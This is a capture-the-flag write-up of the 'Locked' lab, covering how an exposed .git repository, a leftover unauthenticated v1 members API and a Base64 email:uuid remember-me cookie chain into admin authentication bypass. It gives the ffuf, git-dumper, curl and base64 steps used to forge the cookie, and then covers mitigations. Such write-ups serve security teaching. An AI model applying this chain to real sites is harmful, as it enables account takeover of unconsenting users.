Post

Locked - Exposed Git Repository to Authentication Bypass | Locked"

Locked - Exposed Git Repository to Authentication Bypass | Locked"

Lab: Locked


Overview

Locked was an authentication trust-boundary challenge where the application exposed its .git directory publicly. By dumping the Git repository, reviewing the authentication logic, and comparing the live API surface with the committed source, I found an old unauthenticated members endpoint.

That endpoint leaked user emails and UUID values. The application’s remember_me authentication cookie trusted a Base64-encoded email:uuid pair, so the leaked values were enough to forge a valid cookie and authenticate as an administrator.


Objective

Gain access to the protected application area and retrieve the challenge key code.


Vulnerability Identification

1
2
3
4
5
6
7
8
9
OWASP Top 10:2025
└── A07 - Authentication Failures
    ├── Exposed remember-me trust material
    ├── Reusable authentication cookie format
    └── Authentication bypass through leaked user UUID

Supporting issue
└── A05 - Security Misconfiguration
    └── Publicly accessible .git repository

The main vulnerability was not SQL injection or direct session guessing. The issue was that the application treated a client-controlled remember_me cookie as sufficient proof of identity when it contained a valid email and UUID pair.

The supporting misconfiguration was the exposed Git repository, which revealed source code and an older API route.


Reconnaissance

I started with directory discovery using ffuf:

1
ffuf -u https://<LAB_HOST>/FUZZ -w /usr/share/wordlists/dirb/common.txt

Interesting results included:

1
2
3
4
5
6
.git/HEAD      [Status: 200]
api            [Status: 301]
includes       [Status: 301]
robots.txt     [Status: 200]
static         [Status: 301]
vendor         [Status: 403]

The most important finding was:

1
.git/HEAD [Status: 200]

This confirmed that the Git repository was exposed.


Repository Dump

After confirming .git exposure, I dumped the repository:

1
git-dumper https://<LAB_HOST>/.git/ repo

Inside the dumped project, the structure included:

1
2
3
4
5
6
7
8
9
10
api/
app.php
composer.json
includes/
index.php
login.php
logout.php
README.md
realtime/
static/

The includes/ directory contained the authentication and database logic:

1
2
3
4
5
6
includes/
├── auth.php
├── chat.php
├── db.php
├── footer.php
└── header.php

Authentication Logic Review

The key file was:

1
cat includes/auth.php

The remember_me handler decoded the cookie as a Base64 string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function locked_user_from_remember(): ?array {
    $raw = $_COOKIE['remember_me'] ?? '';
    if ($raw === '') {
        return null;
    }

    $decoded = base64_decode($raw, true);
    if ($decoded === false || strpos($decoded, ':') === false) {
        return null;
    }

    [$email, $uuid] = explode(':', $decoded, 2);
    $user = locked_user_by_email($email);

    if (!$user) {
        return null;
    }

    if (!hash_equals((string) $user['uuid'], $uuid)) {
        return null;
    }

    return $user;
}

This showed that the cookie format was:

1
email:uuid

Then it was Base64 encoded and stored as:

1
remember_me=<base64(email:uuid)>

The database helper confirmed that users were looked up by email and that UUID values were stored in the users table:

1
2
3
4
5
function locked_user_by_email(string $email): ?array {
    $stmt = locked_db()->prepare("SELECT * FROM users WHERE email = :e LIMIT 1");
    $stmt->execute([':e' => $email]);
    return $stmt->fetch() ?: null;
}

At this stage, the attack depended on finding a valid user email and UUID.


Git History Analysis

I checked the commit history:

1
git log --oneline --all

The history showed:

1
2
3
01f01bb Document websocket fallback in README
be7bfc0 Replace members API with v2 version
af8635c Locked 4.2 — channels, members directory, remember-me sessions

The commit message Replace members API with v2 version was important because it suggested an older API may have existed before authentication was added.

Reviewing the commit diff showed that the old endpoint had been renamed from:

1
api/v1/members.php

to:

1
api/v2/members.php

The newer version added an authentication check:

1
2
3
4
5
$me = locked_current_user();
if (!$me) {
    http_response_code(401);
    ...
}

This indicated that the older v1 endpoint might still be accessible on the live server.


Exploitation

I requested the old API endpoint:

1
curl -X GET https://<LAB_HOST>/api/v1/members.php

The endpoint returned a members list containing display names, emails, UUIDs, and roles.

The administrator entry followed this structure:

1
2
3
4
5
6
{
  "display_name": "Supt. Margaret Whitlock",
  "email": "<ADMIN_EMAIL>",
  "uuid": "<ADMIN_UUID>",
  "role": "admin"
}

This gave the two values needed for the remember_me cookie:

1
<ADMIN_EMAIL>:<ADMIN_UUID>

I then generated the Base64 cookie value:

1
echo -n "<ADMIN_EMAIL>:<ADMIN_UUID>" | base64

That produced a forged cookie in the expected format:

1
remember_me=<BASE64_ADMIN_EMAIL_UUID>

Browser Authentication

In the browser, I added the forged cookie manually:

1
2
3
Name: remember_me
Value: <BASE64_ADMIN_EMAIL_UUID>
Path: /

After refreshing the application, the server accepted the cookie, resolved it to the administrator account, and created an authenticated session.

This worked because locked_current_user() automatically trusted the remember-me cookie when no valid session was present:

1
2
3
4
5
$user = locked_user_from_remember();
if ($user) {
    $_SESSION['uid'] = (int) $user['id'];
    return $user;
}

Proof of Exploitation

After authenticating as the administrator, I navigated to the command endpoint:

1
https://<LAB_HOST>/app.php?c=command

The protected page displayed the challenge key code.

1
WEBVERSE{REDACTED}

Root Cause Analysis

The root cause was a broken authentication trust boundary.

The application allowed the client to store and replay a long-lived authentication token built directly from user database fields:

1
Base64(email:uuid)

Base64 is not encryption and does not provide integrity protection. Once the email and UUID were leaked, the cookie could be forged without knowing a password.

The issue was made exploitable by a second weakness: the exposed .git directory and the still-accessible old API endpoint. The source code revealed how the cookie was validated, and the old endpoint leaked the exact identity values required to forge it.


Impact

An attacker could:

  • Dump application source code from the exposed Git repository.
  • Discover old or hidden endpoints from Git history.
  • Retrieve user emails and UUIDs from an unauthenticated API.
  • Forge a valid remember_me cookie.
  • Authenticate as an administrator.
  • Access protected functionality and retrieve sensitive data.

In a real application, this could lead to account takeover, sensitive data exposure, privilege escalation, and unauthorized administrative actions.


Mitigation

Protect Git Metadata

Never expose .git directories in production.

Recommended controls:

1
2
3
- Block access to /.git/ at the web server level.
- Exclude .git from deployment artifacts.
- Add CI/CD checks for accidental source control exposure.

Remove Deprecated Endpoints

Old endpoints should be removed or protected.

1
2
3
- Delete unused API versions.
- Apply authentication consistently across all API versions.
- Monitor for forgotten legacy routes.

Replace Predictable Remember-Me Tokens

Do not build remember-me cookies from user-identifying database fields.

A safer approach:

1
2
3
4
5
- Generate a cryptographically random token.
- Store only a hashed version server-side.
- Bind token metadata to user, expiry, and rotation state.
- Rotate token after use.
- Revoke tokens on logout or password change.

Authentication cookies should be signed or backed by server-side state.

1
2
3
- Use HMAC-signed tokens if stateless.
- Prefer opaque random tokens stored server-side.
- Set HttpOnly, Secure, and SameSite attributes.

Lessons Learned

This lab showed how source code exposure can turn a weak authentication design into a full account takeover.

The main learning points were:

1
2
3
4
5
1. Public .git exposure can reveal routes, source logic, and historical changes.
2. Git history is often more valuable than the current source tree.
3. Base64-encoded authentication data is not secure.
4. Remember-me cookies must be random, server-validated, and revocable.
5. Deprecated API endpoints must be removed, not just replaced.

Final Takeaway

Locked was a good example of how multiple small issues can chain into a serious authentication bypass.

The exposed Git repository revealed the authentication mechanism and Git history exposed the old members API. The old endpoint leaked the exact values required to forge the remember-me cookie, which allowed administrator access and retrieval of the protected key code.

This post is licensed under CC BY 4.0 by the author.